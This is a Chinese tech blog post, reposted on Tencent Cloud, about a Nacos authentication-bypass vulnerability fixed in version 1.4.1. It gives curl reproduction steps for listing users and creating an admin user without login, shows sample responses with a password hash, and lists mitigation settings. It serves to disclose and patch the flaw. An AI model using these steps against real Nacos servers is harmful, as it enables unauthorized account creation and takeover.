前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

作者头像
业余草
发布2021-01-20 19:35:43
1.2K0
发布2021-01-20 19:35:43
举报
文章被收录于专栏:业余草业余草

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

2021 年 1 月 15 日,也就是昨天,Nacos 发布了新版本 1.4.1。该版本发布了很多新特性和增强的功能。

这次发布的新版本,可谓是改动众多,大大小小有几十个 issue。

此次发布之前,被网友发现的绕过 User-Agent 中的安全漏洞在这个版本中也已经被修复了!https://github.com/alibaba/nacos/issues/4701 中所被提到的旁路身份验证(身份)问题影响范围很广!

在之前的版本中,如果在 Nacos 中启用了 serverIdentity 的自定义键值认证。那么就可以通过特殊的 url 结构,仍然可以绕过访问任何 http 接口的限制。

下面给大家说一下漏洞的重现步骤。

第一步,先访问用户列表界面。

代码语言:javascript
复制
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'

在没有登录的正常情况下,该接口应该返回 403。

但实际上,我们给该请求添加上特殊的 header 后,却可以绕过认证,并且返回用户列表数据。

代码语言:javascript
复制
{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

不仅能绕过认证,我们还能添加新用户。

代码语言:javascript
复制
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'

通过 postman 执行后,我们成功的收到了 create user ok! 响应。

代码语言:javascript
复制
{
    "code":200,
    "message":"create user ok!",
    "data":null
}

如果你再获取用户列表,就可以获取到刚才新增的用户信息。

根据刚才新增的用户信息,我们就可以成功的登录到 Nacos 的后台管理系统中。执行任何操作。

问题产生的原因是,开发人员的逻辑出现了漏洞,考虑不全。

在 AuthFilter 中,应该被拦截返回的 url 被放行了。

目前该漏洞的解决办法有两个,一个是升级到最新的版本 1.4.1。或者开启鉴权认证,并且关闭原有的 UA 白名单机制。

代码语言:javascript
复制
nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity=aaa
nacos.core.auth.server.identity.value=bbb

另外,在使用微服务时,除了网关,其他的端口一律不能对外暴露!

截止目前,Nacos 已被众多网友骂惨了。

甚至两之前的 fastjson 也不放过。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2021-01-16 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档